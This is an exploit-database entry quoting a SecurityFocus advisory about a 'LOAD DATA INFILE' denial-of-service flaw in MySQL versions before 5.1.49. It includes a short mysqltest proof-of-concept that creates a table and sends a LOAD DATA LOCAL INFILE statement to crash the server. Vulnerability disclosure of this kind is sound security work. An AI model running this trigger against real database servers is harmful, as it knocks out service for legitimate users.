Lucene search

K
exploitdbElena StepanovaEDB-ID:34510
HistoryAug 20, 2010 - 12:00 a.m.

OraclMySQL 5.1.48 - 'LOAD DATA INFILE' Denial of Service

2010-08-2000:00:00
Elena Stepanova
www.exploit-db.com
11

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/42625/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it.

# cat t/tst.test
# The file might exist or not, it does not make any difference.
# --send is important

CREATE TABLE test.t_load (id INT NOT NULL);
--send LOAD DATA LOCAL INFILE 'tb.txt' INTO TABLE test.t_load

#<EOF>